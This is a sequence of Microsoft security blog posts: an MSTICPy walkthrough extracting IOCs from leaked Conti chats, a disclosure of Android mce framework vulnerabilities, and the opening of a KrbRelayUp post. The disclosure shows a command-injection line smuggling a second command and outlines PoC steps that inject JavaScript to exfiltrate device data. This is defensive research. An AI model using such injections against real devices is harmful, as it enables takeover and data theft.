After installing MSTICPy, the first thing to do is to initialize the notebook. This allows the loading of several modules that can be used to extract and enrich the data. External resources like VirusTotal or OTX can also be added by configuring msticpyconfig.yaml and adding the API keys.

The IoCExtract module from MSTICPy offers a convenient way to extract IOCs using predefined regex. The code automatically extracts IOCs such as DNS, URLs, IP addresses, and hashes and then reports them in a new dataframe.

A screenshot of Python code that prepares the dataframe for IOC extraction. It presents code to remove "None" value from the dataframe, as well as to initiate the IOC extractor.
Figure 12. Passing the dataframe to the module for extraction
A screenshot of a sample table listing down IOC patterns found in the Conti chat logs. It includes the following data fields: IOC type, observable, source index, and input.
Figure 13. Sample of extracted IOCs

A regex can be added to filter specific IOCs from those extracted by the IOC extraction module by default. For example, the regex below extracts Bitcoin addresses from the Conti chat logs:

A screenshot of Python code that adds a regex in the IOCExtract module of MSTICPy. This specific regex extracts Bitcoin addresses from the Conti chat logs.
Figure 14. Extracting Bitcoin addresses and adding regex
A screenshot of a table showing the Bitcoin addresses extracted from the Conti chat logs. The table includes the following data fields: IOCtype, observable, source index, and input.
Figure 15. Sample of extracted Bitcoin addresses

After extracting IOCs, the dataframe can be cleaned to remove false positives as well as duplicate data. The final dataframe from the processed Conti chat logs contains the following unique IOC count, (these IOCs require additional analysis as not all of them are considered malicious):

URL DNS IPV4 Bitcoin MD5 SHA-256
1,137 474 317 175 106 16

Investigating UP addresses

 The threat intel lookup module TILookup in MSTICPy can be used to get more information on IOCs such as IP addresses. In the case of the Conti leak, 317 unique IP addresses were identified. Not all these IOCs are malicious but can reveal more relevant information.

The configuration file can be specified to load the TILookup module, along with other threat intelligence providers such as VirusTotal, GreyNoise, and OTX.

A screenshot of Python code that loads the threat intel lookup module in MSTICPy. It also presents code that loads other threat intelligence providers such as VirusTotal, GreyNoise, and OTX, and filters the IOCs by type.
Figure 16. Threat intel provider within MSTICPy

Running the module generates a new dataframe with more context for every IP address provided.

A screenshot of a table generated from running the threat intel lookup module. The table presents a list of IP addresses extracted from the Conti chat logs with related threat intelligence data.
Figure 17. Sample of IP addresses enriched with additional info

The module also allows to request information for a single observable.

A screenshot of Python code that extracts threat intelligence data on a single observable through the threat intel lookup module of MSTICPy.
Figure 18. Extracting information for a single observable
A screenshot of the table generated from running the threat intel lookup module. It shows threat intelligence data from GreyNoise, OTX, and VirusTotal on a particular IP address.
Figure 19. Additional threat context for one IP address

The browser provided by MSTICPy can also be used to explore the IOCs previously enriched. The interactive Jupyter notebook includes this view of the IOCs.

A screenshot of the browser provided by MSTICPy that can be used to explore IOCs extracted from the Conti chat logs. The browser shows threat intelligence details related to a selected IP address.
Figure 20. IOC browser provided by MSTICPy

In addition, MSTICPy has an embedded module that looks up the geolocation of IP addresses using Maxmind, which can be used to create a map of the IP addresses previously extracted.

A screenshot of Python code that looks up the geolocation of IP addresses. It also presents code that creates a map using the generated geolocation data.
Figure 21. Generating the IP geolocation map
A world map with the geolocation of all IPs extracted from the Conti leaks marked with red pins. The image shows that the location of IPs are concentrated in Europe and the US.
Figure 22. Geolocation of IPs extracted from the Conti leaks

Investigating URLs

Extracted URLs from IOC lists can provide details about targets, tools used to exchange information, and the infrastructure used to deploy attacks. A total of 1,137 unique URLs were extracted from the Conti leak dataset, but not all of them are usable for threat intelligence. The following code snippet shows how to filter for URLs.

A screenshot of Python code that filters for URLs among the IOC list.
Figure 23. Filtering the IOCs for URLs
A screenshot of the table generated by filtering URLs from the IOC list. The table includes the following data fields: IOC type, observable, source index, and input.
Figure 24. Sample of URLs extracted

A filter can be created to get details on executables, DLLs, ZIP files, and other files related to the extracted URLs. This can provide interesting insights and can be extracted for further research.

A screenshot of Python code that filters for specific file types related to extracted URLs. The code searches for URLs with .exe, .dll, .jpg, .zip, .7z, .rar, and .png files.
Figure 25. Filtering URLs for specific file formats
A screenshot of a table generated from filtering for URLs related to specific file formats. The table features the following data fields: IOC type, observable, source index, and input.
Figure 26. Sample of URLs delivering extracted file

Using the same technique for filtering, .onion URLs can also be identified from the URL list. This proved particularly useful in this case, since the Conti group used the Tor network for some of their infrastructure.

A screenshot of a table generated by filtering for .onion URLs from the Conti chat log IOCs. The table presents the following data fields: IOC type, observable, source index, and input.
Figure 27. Sample of extracted .onion URLs

Pivoting extracted IOCs using VirusTotal

The use of the pivot function within the MSTICPy library allows enrichment of data and discovery of additional infrastructure and IOC. This is particularly useful for threat intelligence and threat actor tracking. The next sections demonstrate the use of the VirusTotal module VTlookupV3 in MSTICPy to obtain intelligence about an IP address extracted from the Conti leak dataset that was used to deliver additional malware.

The following code initiates the VTlookupV3 in MSTICPy:

A screenshot of Python code that initiates the VirusTotal module in MSTICPy.
Figure 28. Configuring the VirusTotal module in MSTICPy

The VirusTotal module can be used to get data related to a particular IOC. The code below searches for files downloaded from a particular IP address from the Conti leak dataset:

A screenshot of Python code that uses the VirusTotal module in MSTICPy to look up files downloaded from a specific IP address.
Figure 29. Getting files downloaded from one IP address

The results show that the IP address 109[.]230[.]199[.]73 delivers several strains of malware.

A screenshot of a table generated from extracting the hashes of files downloaded from a specific IP address.
Figure 30. Hashes related to IP 109[.]230[.]199[.]73

The VirusTotal module can then be used to pivot and extract more information about these hashes. The table below shows information about the first hash on the list:

  Attributes
authentihash 0d10a35c1bed8d5a4516a2e704d43f10d47ffd2aabd9ce9e04fb3446f62168bf
creation_date 1624910154
crowdsourced_ids_results [{[TRUNCATED]’alert_context’: [{‘dest_ip’: ‘8.8.8.8’, ‘dest_port’: 53}, {‘dest_ip’: ‘193.204.114.232’, ‘dest_port’: 123}], ‘rule_url’: ‘https://www.snort.org/downloads/#rule-downloads’, ‘rule_source’: ‘Snort registered user ruleset’, ‘rule_id’: ‘1:527’}, {‘rule_category’: ‘not-suspicious’, ‘alert_severity’: ‘low’, ‘rule_msg’: ‘TAG_LOG_PKT’, ‘rule_raw’: ‘alert ( gid:2; sid:1; rev:1; msg:”TAG_LOG_PKT”; metadata:rule-type preproc; classtype:not-suspicious; )’, ‘alert_context’: [{‘dest_ip’: ‘107.181.161.197’, ‘dest_port’: 443}], ‘rule_url’: ‘https://www.snort.org/downloads/#rule-downloads’, ‘rule_source’: ‘Snort registered user ruleset’, ‘rule_id’: ‘2:1’}]
crowdsourced_ids_stats {‘info’: 0, ‘high’: 0, ‘medium’: 2, ‘low’: 1}
downloadable TRUE
exiftool {‘MIMEType’: ‘application/octet-stream’, ‘Subsystem’: ‘Windows GUI’, ‘MachineType’: ‘AMD AMD64’, ‘TimeStamp’: ‘2021:06:28 19:55:54+00:00’, ‘FileType’: ‘Win64 DLL’, ‘PEType’: ‘PE32+’, ‘CodeSize’: ‘115712’, ‘LinkerVersion’: ‘14.16’, ‘ImageFileCharacteristics’: ‘Executable, Large address aware, DLL’, ‘FileTypeExtension’: ‘dll’, ‘InitializedDataSize’: ‘69632’, ‘SubsystemVersion’: ‘6.0’, ‘ImageVersion’: ‘0.0’, ‘OSVersion’: ‘6.0’, ‘EntryPoint’: ‘0x139c4’, ‘UninitializedDataSize’: ‘0’}
first_submission_date 1624917754
last_analysis_date 16365918529
last_analysis_results { [TRUNCATED] ‘20211110’}, ‘Tencent’: {‘category’: ‘undetected’, ‘engine_name’: ‘Tencent’, ‘engine_version’: ‘1.0.0.1’, ‘result’: None, ‘method’: ‘blacklist’, ‘engine_update’: ‘20211111’}, ‘Ad-Aware’: {‘category’: ‘malicious’, Edition’: {‘category’: ‘malicious’, ‘engine_name’: ‘McAfee-GW-Edition’, ‘engine_version’: ‘v2019.1.2+3728’, ‘result’: ‘RDN/CobaltStrike’, ‘method’: ‘blacklist’, ‘engine_update’: ‘20211110’}, ‘Trapmine’: {‘category’: ‘type-unsupported’, ‘engine_name’: ‘Trapmine’, ‘engine_version’: ‘3.5.0.1023’, ‘result’: None, ‘method’: ‘blacklist’, ‘engine_update’: ‘20200727’}, ‘CMC’: {‘category’: ‘undetected’, ‘engine_name’: ‘CMC’, ‘engine_version’: ‘2.10.2019.1’, ‘result’: None, ‘method’: ‘blacklist’, ‘engine_update’: ‘20211026’}, ‘Sophos’: {‘category’: ‘malicious’, ‘engine_name’: ‘Sophos’, ‘engine_version’: ‘1.4.1.0’, ‘result’:
last_analysis_stats {‘harmless’: 0, ‘type-unsupported’: 6, ‘suspicious’: 0, ‘confirmed-timeout’: 1, ‘timeout’: 0, ‘failure’: 0, ‘malicious’: 47, ‘undetected’: 19}
last_modification_date 1646895757
last_submission_date 1624917754
magic PE32+ executable for MS Windows (DLL) (GUI) Mono/.Net assembly
md5 55646b7df1d306b0414d4c8b3043c283
meaningful_name 197.dll
names [197.dll, iduD2A1.tmp]
pe_info [TRUNCATED] {‘exports’: [‘StartW’, ‘7c908697e85da103e304d57e0193d4cf’}, {‘name’: ‘.rsrc’, ‘chi2’: 51663.55, ‘virtual_address’: 196608, ‘entropy’: 5.81, ‘raw_size’: 1536, ‘flags’: ‘r’, ‘virtual_size’: 1128, ‘md5’:, ‘GetStringTypeW’, ‘RtlUnwindEx’, ‘GetOEMCP’, ‘TerminateProcess’, ‘GetModuleHandleExW’, ‘IsValidCodePage’, ‘WriteFile’, ‘CreateFileW’, ‘FindClose’, ‘TlsGetValue’, ‘GetFileType’, ‘TlsSetValue’, ‘HeapAlloc’, ‘GetCurrentThreadId’, ‘SetLastError’, ‘LeaveCriticalSection’]}], ‘entry_point’: 80324}
popular_threat_classification {‘suggested_threat_label’: ‘trojan.bulz/shelma’, ‘popular_threat_category’: [{‘count’: 22, ‘value’: ‘trojan’}, {‘count’: 6, ‘value’: ‘downloader’}, {‘count’: 2, ‘value’: ‘dropper’}], ‘popular_threat_name’: [{‘count’: 6, ‘value’: ‘bulz’}, {‘count’: 6, ‘value’: ‘shelma’}, {‘count’: 3, ‘value’: ‘cobaltstrike’}]}
reputation 0
sandbox_verdicts {‘Zenbox’: {‘category’: ‘malicious’, ‘sandbox_name’: ‘Zenbox’, ‘malware_classification’: [‘MALWARE’, ‘TROJAN’, ‘EVADER’]}, ‘C2AE’: {‘category’: ‘undetected’, ‘sandbox_name’: ‘C2AE’, ‘malware_classification’: [‘UNKNOWN_VERDICT’]}, ‘Yomi Hunter’: {‘category’: ‘malicious’, ‘sandbox_name’: ‘Yomi Hunter’, ‘malware_classification’: [‘MALWARE’]}, ‘Lastline’: {‘category’: ‘malicious’, ‘sandbox_name’: ‘Lastline’, ‘malware_classification’: [‘MALWARE’]}}
sha1 ddf0214fbf92240bc60480a37c9c803e3ad06321
sha256 cf0a85f491146002a26b01c8aff864a39a18a70c7b5c579e96deda212bfeec58
sigma_analysis_stats {‘high’: 0, ‘medium’: 1, ‘critical’: 1, ‘low’: 0}
sigma_analysis_summary {‘Sigma Integrated Rule Set (GitHub)’: {‘high’: 0, ‘medium’: 0, ‘critical’: 1, ‘low’: 0}, ‘SOC Prime Threat Detection Marketplace’: {‘high’: 0, ‘medium’: 1, ‘critical’: 0, ‘low’: 0}}
size 181248
ssdeep 3072:fck3rwbtOsN4X1JmKSol6LZVZgBPruYgr3Ig/XZO9:fck3rwblqPgokNgBPr9gA
tags [assembly, invalid-rich-pe-linker-version, detect-debug-environment, long-sleeps, 64bits, pedll]
times_submitted 1
tlsh T110049E14B2A914FBEE6A82B984935611B07174624338DFEF03A4C375DE0E7E15A3EF25
total_votes {‘harmless’: 0, ‘malicious’: 0}
trid [{‘file_type’: ‘Win64 Executable (generic)’, ‘probability’: 48.7}, {‘file_type’: ‘Win16 NE executable (generic)’, ‘probability’: 23.3}, {‘file_type’: ‘OS/2 Executable (generic)’, ‘probability’: 9.3}, {‘file_type’: ‘Generic Win/DOS Executable’, ‘probability’: 9.2}, {‘file_type’: ‘DOS Executable Generic’, ‘probability’: 9.2}]
type_description Win32 DLL
type_extension dll
type_tag pedll
unique_sources 1
Vhash 115076651d155d15555az43=z55

The results indicate that the hash is a Cobalt Strike loader, which means that Conti affiliates also use the penetration testing tool as part of their infrastructure during their operation.

In addition, the VirusTotal module can also provide details such as detection rate, type, description, and other information related to the hashes. The code snippet below generates the list of domains to which the hashes connect to.

A screenshot of Python code that generates the list of domains specific hashes connect to using the VirusTotal module.
Figure 31. Getting contacted domains
A screenshot of a table generated from extracting domains to which certain hashes connected to using the VirusTotal module.
Figure 32. Additional domains retrieved from previously extracted hashes

Doing this kind of analysis on the Conti leak data or similar data sets can lead to the discovery of possibly related domains that were not in the initial data sets.

Conclusion

This blog outlines how Python can be used to find valuable threat intelligence from data sets such as chat logs. It also presents details on how processing data using the MSTICPy library can be useful for enriching and hunting within environments, as well as collecting additional threat context. The interactive notebook provides additional code snippets that can also be used to continue log exploration.

The types of information extracted in this blog provides insights into the various elements of the criminal ecosystem that were coordinating their activities. Threat intelligence from research like this informs products and services like Microsoft 365 Defender, translating knowledge into real-world protection for customers. More importantly, the methodology described in this blog can be adapted to specific threat intelligence services, and the broader community is invited to use it for further analysis, enrichment of data, and intelligence sharing for the benefit of all.

Thomas Roccia
Microsoft 365 Defender Research Team

References

  • https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-i-evasion/
  • https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/
  • https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/
  • https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/
  • https://www.forescout.com/resources/analysis-of-conti-leaks/
  • https://github.com/Res260/conti_202202_leak_procedures
  • https://readme.security/the-conti-leaks-first-rumble-of-the-ukraine-earthquake-thats-rattling-the-cybercrime-underground-7abb23b0fb04
  • https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b
  • https://github.com/soufianetahiri/ContiLeaks/blob/main/cobaltsrike_lolbins
  • https://twitter.com/TheDFIRReport/status/1498656118746365952
  • https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf
  • https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html
  • https://www.trellix.com/en-au/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
  • https://msticpy.readthedocs.io/en/latest/getting_started/Introduction.html

The post Using Python to unearth a goldmine of threat intelligence from leaked chat logs appeared first on Microsoft Security Blog.

Android apps with millions of downloads exposed to high-severity vulnerabilities

May 27th, 2022 No comments

Microsoft uncovered high-severity vulnerabilities in a mobile framework owned by mce Systems and used by multiple large mobile service providers in pre-installed Android System apps that potentially exposed users to remote (albeit complex) or local attacks. The vulnerabilities, which affected apps with millions of downloads, have been fixed by all involved parties. Coupled with the extensive system privileges that pre-installed apps have, these vulnerabilities could have been attack vectors for attackers to access system configuration and sensitive information.

As it is with many of pre-installed or default applications that most Android devices come with these days, some of the affected apps cannot be fully uninstalled or disabled without gaining root access to the device. We worked with mce Systems, the developer of the framework, and the affected mobile service providers to solve these issues. We commend the quick and professional resolution from the mce Systems engineering teams, as well as the relevant providers in fixing each of these issues, ensuring that users can continue using such a crucial framework.

Collaboration among security researchers, software vendors, and the security community is important to continuously improve defenses for the larger ecosystem. As the threat and computing landscape continues to evolve, vulnerability discoveries, coordinated response, and other forms of threat intelligence sharing are paramount to protecting customers against present and future threats, regardless of the platform or device they are using.

Uncovering the vulnerabilities

Our research on the framework vulnerabilities began while trying to better understand how a pre-installed System application could affect the overall security of mobile devices. We discovered that the framework, which is used by numerous apps, had a “BROWSABLE” service activity that an attacker could remotely invoke to exploit several vulnerabilities that could allow adversaries to implant a persistent backdoor or take substantial control over the device.

The framework seemed to be designed to offer self-diagnostic mechanisms to identify and resolve issues impacting the Android device, indicating its permissions were inherently broad with access to valuable resources. For example, the framework was authorized to access system resources and perform system-related tasks, like adjusting the device’s audio, camera, power, and storage controls. Moreover, we found that the framework was being used by default system applications to leverage its self-diagnostic capabilities, demonstrating that the affiliated apps also included extensive device privileges that could be exploited via the vulnerable framework.

According to mce Systems, some of these vulnerabilities also affected other apps on both Android and iOS devices. Moreover, the vulnerable framework and affiliated apps were found on devices from large international mobile service providers. mce Systems, which offers “Mobile Device Lifecycle and Automation Technologies,” also permitted providers to customize and brand their respective mobile apps and frameworks. Pre-installed frameworks and mobile apps such as mce Systems’ are beneficial to users and providers in areas like simplifying the device activation process, troubleshooting device issues, and optimizing performance. However, their extensive control over the device to deliver these kinds of services could also make them an attractive target for attackers. 

Our analysis further found that the apps were embedded in the devices’ system image, suggesting that they were default applications installed by phone providers. All of the apps are available on the Google Play Store where they go through Google Play Protect’s automatic safety checks, but these checks previously did not scan for these types of issues. As part of our effort to help ensure broad protection against these issues, we shared our research with Google, and Google Play Protect now identifies these types of vulnerabilities.

We initially discovered the vulnerabilities in September 2021 and shared our findings with mce Systems and affected mobile service providers through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). We worked closely with mce Systems’ security and engineering teams to mitigate these vulnerabilities, which included mce Systems sending an urgent framework update to the impacted providers and releasing fixes for the issues. At the time of publication, there have been no reported signs of these vulnerabilities being exploited in the wild.

The high-severity vulnerabilities, which have a Common Vulnerability Scoring System (CVSS) score of 7.0-8.9, are now identified as CVE-2021-42598, CVE-2021-42599, CVE-2021-42600, and CVE-2021-42601. We want to thank mce Systems’ engineering teams for collaborating quickly and efficiently in resolving these issues as well as to AT&T for proactively working with Microsoft to ensure customers can safely continue to use the framework.

Several other mobile service providers were found using the vulnerable framework with their respective apps, suggesting that there could be additional providers still undiscovered that may be impacted. The affected providers linked below have made updated app versions available to users before this disclosure, ensuring devices can be protected before these vulnerabilities could be exploited. We encourage these providers’ customers to update to the latest versions of these apps from the Google Play store, which include but are not limited to: com.telus.checkup, com.att.dh, com.fivemobile.myaccount, com.freedom.mlp,uat, and com.ca.bell.contenttransfer.

Additionally, the package com.mce.mceiotraceagent might be installed by several mobile phone repair shops. Mobile users are advised to look for that app name and remove it from their phone, if found.

Analyzing apps that use the mce framework

App manifest and permissions

When analyzing an Android application, the first thing that comes to mind is checking its manifest, maintained under the AndroidManifest.xml file. The manifest describes the application itself and its components, such as the following:

  • Permissions (for example, camera access, internet access, and others)
  • Activities and how they respond to Intents sent to them
  • Content providers
  • Receivers and the kind of content they expect to receive
  • Services

Checking the manifest of an app affiliated with mce Systems’ framework shed light on some of its features and capabilities but did not immediately indicate that any vulnerabilities or security issues were present. Therefore, further research into the app’s functionality was needed by understanding its permissions.

Analysis of the app’s permissions on the mobile device revealed authorizations that could lead to powerful access and capabilities for an attacker. Those permissions included control over the following:

  • Networking: access the internet, modify Wi-Fi state, network state, NFC, and Bluetooth
  • File access: read and write to the external storage
  • Peripherals: access the camera, record audio, get fingerprint information, and get the device’s physical location
  • Private information: read phone numbers, account information, and contacts
  • Management: install apps and modify device settings

With access to these valuable resources, the app could be abused by an attacker to implant a persistent backdoor on the device.

BROWSABLE activities

The “Activities” section of the app’s manifest detailed that the Intent-filter element included activities with a “BROWSABLE” category. While most Intents do not require a category, category strings detail the components that should handle the Intent. In particular, the BROWSABLE category allows the target Activity to be triggered from a web browser to display data referenced by a link, like an image. BROWSABLE activities appeal to attackers as the latter can exploit them via malicious web pages and other Intent-based attacks.

Figure 1:  BROWSABLE Activity with the “mcedigital://” scheme

The Intent-filter element in the manifest dictates how the Activity can be triggered. In the app’s case, the Activity could be triggered by simply clicking a link with the “mcedigital://” scheme. This would start the com.mce.sdk.AppActivity Activity with an Intent with arbitrary data (besides the scheme).

Digging deeper: Reviewing the mce framework’s main functionality

We reviewed the effects of triggering the com.mce.sdk.AppActivity. Also known as appActivity, this Activity refers to the different functionalities provided by the app. AppActivity extends Activity and therefore has an onCreate method, which traditionally handles the creating Intent.

AppActivity

Here’s a brief description of AppActivity:

  1. AppActivity has a member called “webView” and type “JarvisWebView,” a specialized class that extends WebView.
  2. Upon creation, AppActivity has some optional display choices from the Intent (if they exist) and then loads a predefined web page to the WebView. That predefined page can get arbitrary query parameters from the Intent’s data; that is, everything after a “\?” will be added to the web page.

Thus, if a user clicks this:

mcedigital://ignored\?arbitrary_params

The App’s WebView loads the following web page:

file:///android_asset/applications/user/reflow-container-bundled/index.html?arbitrary_params

The app’s index.html web page (which is an asset built into the Android app) loads two JavaScript files:

  • config.js: a nonexistent file
  • bundle.js: contains much of the app’s logic

Since we wanted to understand the interplay between bundle.js (JarvisJSInterface) and the WebView (JarvisWebView), we analyzed both.

JarvisWebView and JarvisJSInterface

The main features of the WebView, JarvisWebView class, are the following:

A JavaScript Interface is a conspicuous target to look for security issues, as it uses a JavaScript Bridge to allow invoking specific methods inside an Android app. In the case of JarvisJSInterface, three methods are exported:

  • init(String): takes a string that will be used as a JavaScript callback method; in our case, it will always be window.AndroidCallback
  • windowClose(): runs a callback registered by the Android app
  • request(String): sends a service request from the JavaScript client to the server (Android app)

The request method is by far the most interesting, as it performs the following:

  1. Interprets the given string as a JSON object
  2. Extracts the following pieces from the JSON object:
    • Context: a random GUID generated by the client, used to link requests and responses
    • Service: the service we are about to call to
    • Command: an integer
    • Data: optional parameters sent to the service call
  3. Invokes the method serviceCall, which finds the registered service, gets the method based on the command number, and eventually invokes that method using Java reflection
Figure 2: Service::callServiceMethod

The serviceCall is a powerful method, as it allows the WebView to invoke “services” freely. But what are these services, exactly?

Services offered by the mce framework

After we examined the services offered by this framework per the app manifest, we then obtained a list of services that practically give the WebView complete control over the device. The most notable services include:

  • Audio: access and manipulate volume levels, as well as play a tone with a given duration and frequency
  • Camera: take a silent snapshot
  • Connectivity: control and obtain valuable information from NFC, Wi-Fi, and Bluetooth
  • Device: includes various device controlling mechanisms like battery drainage, performing a factory reset, and obtaining information on apps, addresses, sensor data, and much more
  • Discovery: set the device to discoverable
  • Location: obtain the location in various modes and set the location state
  • PackageManager: acquire package info and silently install a new app
  • Power: obtain charging state
  • Sensor: acquire sensor data such as barometer data, light data, proximity data, and whether fingerprinting is working
  • Storage: obtain content such as documents, media, images, and videos

These services inherit from a base class named “Service” and implement two methods:

  • setServiceName: for service identification purposes
  • setServiceMethodMap: for setting up the mapping between the command integer and the method name, argument names, and argument types

For example, here is the Camera service setting its methods:

  • Method 0 is “getCameraList” and expects no arguments.
  • Method 1 is “captureStillImageNoPreview” and expects one String argument.
Figure 3: The Camera service setting its methods

Vulnerability findings

Based on our analysis of the mce framework, we discovered several vulnerabilities. It should be noted that while mobile service providers can customize their apps respective to mce framework so as not to be identical, the vulnerabilities we discovered can all be exploited in the same manner—by injecting code into the web view. Nonetheless, as their apps and framework customization use different configurations and versions, not all providers are necessarily vulnerable to all the discovered vulnerabilities.

Outdated command-injection vulnerability (CVE-2021-42599)

We found a command-injection vulnerability, tracked as CVE-2021-42599, in the Device service mentioned in the previous section. This service offers rich functionality, including the capability to stop activities of a given package. The client fully controls the argument “value,” and simply runs the following command:

am force-stop "value"

Since the argument is not sanitized, an attacker could add backticks or quotation marks to run arbitrary code, like the following:

am force-stop "a"; command-to-run; echo "a"
Figure 4: Command injection proof-of-concept (POC) exploit code implemented in the Device service

According to mce Systems, they have since removed the functionality behind this vulnerability and it is no longer present in more advanced framework versions.

Exploitation by JavaScript injection with PiTM in certain apps

The services offered by the mce framework further indicated that the following vulnerability resided in the logic of the JavaScript client for apps that are configured to enable plaintext communications such as the app that we initially analyzed. Interestingly, the code for the client is a heavily-obfuscated dynamic JavaScript code that is implemented over several files, mainly bundle.js. Due to the blind trust between the JavaScript client and the JarvisJSInterface server, an attacker who could inject JavaScript contents into the WebView would inherit the permissions that the app already has.

We conceived two injection strategies most likely to be leveraged by attackers:

  1. Affect the JavaScript client behavior by supplying specific GET parameters from the BROWSABLE Intent.
  2. Trigger an app with the BROWSABLE Intent to become a person-in-the-middle (PiTM) and view the device’s entire traffic. Inject JavaScript code if the client ever tries to fetch external content and interpret it as a script or HTML.

Once we reverse-engineered the client’s obfuscated code, we discovered that it could not inject JavaScript from the GET parameters. The only capability permitted was to affect some of the client’s self-tests upon initialization, such as a battery-draining test or a Wi-Fi connectivity test. However, the WebView-fetched plaintext pages that we discovered could be injected into with a PiTM attack.

Our proof-of-concept (POC) exploit code was therefore:

  1. Perform a PiTM for the target device and lure the user into clicking a link with the “mcesystems://” schema.
  2. Inject JavaScript into one of the plaintext page responses that does the following:
    • Hijack the JavaScript interface by calling init with our callback method
    • Use the JavaScript interface request method to get servicing
    • Send the data to our server for information gathering using XHR (XMLHttpRequest)
Figure 5: Injecting a similar JavaScript code to the WebView could allow an attacker to call arbitrary services and methods

Local elevation of privilege with deserialization followed by injection (CVE-2021-42601)  

Some of the apps we analyzed did not pull plaintext pages. Thus, we looked for a local elevation of privilege vulnerability, allowing a malicious app to gain the system apps’ privileges, tracked as CVE-2021-42601.

In the apps mentioned above, we discovered that the main Activity attempted to handle a deep link (a link that launches an app instead of a browser on click) with Google Firebase. Interestingly, this deep-link handling tried to deserialize a structure called PendingDynamicLinkData (representing a link) from an Intent Extra byte array with the key com.google.firebase.dynamiclinks.DYNAMIC_LINK_DATA. This structure was used later by the mce framework to generate various JSON Objects that might contain data from a categoryId query parameter in the original link, and eventually ended up in the member mFlowSDKInput to be injected into the JarvisWebView instance in an unsafe way:

Figure 6: Unsanitized JavaScript loading allowed arbitrary code injection to the WebView

Since the categoryId query parameter might contain apostrophes, one could inject arbitrary JavaScript code into the WebView. We decided to inject a code that would reach out to a server and load a second-stage code, which was the exact one we used for our PiTM scenario.

Figure 7: Local injection POC exploit

Software design against JavaScript injection vulnerabilities

We worked closely with the mce Systems engineering team and discovered that the reason for unsafe loadUrl invocations with JavaScript injections was that the framework used an asynchronous model of operation. When the JavaScript client performs a request, it expects to be notified later when there are results. Since Android JavaScript Bridge only allows primitive types to be sent (for example, Strings), the mce framework notified the JavaScript client by injecting JavaScript with potentially unsafe arguments (the results themselves).

We offered mce Systems a slightly different software design that prevents unsafe JavaScript injection. The description of the flow of information in our proposal is as follows:

  1. The JavaScript client invokes the request method on the Android JavaScript Bridge, supplying the request itself along with a request ID.
  2. The Java server performs the request and stores the result in a cache. The said cache then maps request IDs to results.
  3. The Java server notifies the client by carefully injecting the JavaScript loadUrl(“javascript:window.onMceResult(<requestID>);”) into the WebView. Note that the only non-constant string is the request ID, which can easily be sanitized. This method “wakes the client up”
  4. The JavaScript client implementation of onMceResult invokes the Android JavaScript Bridge with the method String fetchResult(String requestId). Note that this method returns a string (which contains the result).

This way, the JavaScript client does not need to poll for asynchronous results while data is safely transferred between the client and the server.

Interestingly, Google AndroidX offers a very similar API: webMessageListener. While the said API works quite similarly to our suggestion, it only supports Android versions greater than Lollipop. Thus, the new mce framework now checks the Android version and uses this new Google API if supported or our offered solution for older devices.

The above is just one example of our collaboration to help secure our cross-platform ecosystem. According to mce Systems, all of our reported vulnerabilities were addressed.

Improving security for all through threat intelligence sharing and research-driven protections

Microsoft strives to continuously improve security by collaborating with customers, partners, and industry experts. Responding to the evolving threat landscape requires us to expand our capabilities into other devices and non-Windows platforms in addition to further coordinating research and threat intelligence sharing among the larger security community. This case highlighted the need for expert, cross-industry collaboration to effectively mitigate issues.

Moreover, collaborative research such as this informs our seamless protection capabilities across platforms. For example, intelligence from this analysis helped us ensure that Microsoft Defender Vulnerability Management can identify and remediate devices that have these vulnerabilities, providing security operations teams with comprehensive visibility into their organizational exposure and enabling them to reduce the attack surface. In addition, while we’re not aware of any active exploitation of these mobile vulnerabilities in the wild, Microsoft Defender for Endpoint’s mobile threat defense capabilities significantly improve security on mobile devices by detecting potential exploits, malware, and post-exploitation activity.

We will continue to work with the security community to share intelligence about threats and build better protection for all. Microsoft security researchers continually work to discover new vulnerabilities and threats, turning a variety of wide-reaching issues into tangible results and improved solutions that protect users and organizations across platforms every single day. Similarly inquisitive individuals are encouraged to check opportunities to join the Microsoft research team here: https://careers.microsoft.com/.  

Jonathan Bar Or, Sang Shin Jung, Michael Peck, Joe Mansour, and Apurva Kumar
Microsoft 365 Defender Research Team

The post Android apps with millions of downloads exposed to high-severity vulnerabilities appeared first on Microsoft Security Blog.

Detecting and preventing privilege escalation attacks leveraging Kerberos relaying (KrbRelayUp)

On April 24, 2022, a privilege escalation hacking tool, KrbRelayUp, was publicly disclosed on GitHub by security researcher Mor Davidovich. KrbRelayUp is a wrapper that can streamline the use of some features in Rubeus, KrbRelay, SCMUACBypass, PowerMad/SharpMad, Whisker, and ADCSPwn tools in attacks.

Although this attack won’t function for Azure Active Directory (Azure AD) joined devices, hybrid joined devices with on-premises domain controllers remain vulnerable. Microsoft Defender for Identity detects activity from the early stages of the attack chain by monitoring anomalous behavior as seen by the domain controller. In addition, signals from Defender for Identity also feed into Microsoft 365 Defender, providing organizations with a comprehensive solution that detects and blocks suspicious network activities, malicious files, and other related components of this attack. Microsoft Defender Antivirus detects this attack tool as the malware family HackTool:MSIL/KrbUpRly.

Microsoft encourages customers to update Domain Controller: LDAP server signing requirements to Require signing as detailed in this advisory and enable Extended Protection for Authentication (EPA) as detailed in this blog.

Originally, KrbRelayUp supported only one method that’s based on taking advantage of resource-based constrained delegation (RBCD); it later added several additional attack methods. In this blog, we discuss RBCD to provide further insights into how the initial KrbRelayUp attack method works. We also detail the stages that make up the said attack. Finally, we provide recommendations and guidelines that can help organizations strengthen their device configurations and defend their networks from attacks that use this tool.

Understanding the attack: What is resource-based constrained delegation?

Resource-based constrained delegation (RBCD) represents the key to this attack method, enabling the tool to impersonate an administrator and eventually run a code as the SYSTEM account of a compromised device.

Authentication protocol basics

An authentication protocol verifies the legitimacy of a resource or identity. When a user signs into a website, that website uses a methodology to confirm the authenticity of the resource requesting access. In simpler terms, the authentication process involves signing in with a password—made possible by the user knowing the password anticipated by the website. The Kerberos protocol serves as the main authentication framework for this process in on-premises Active Directory.

Delegation

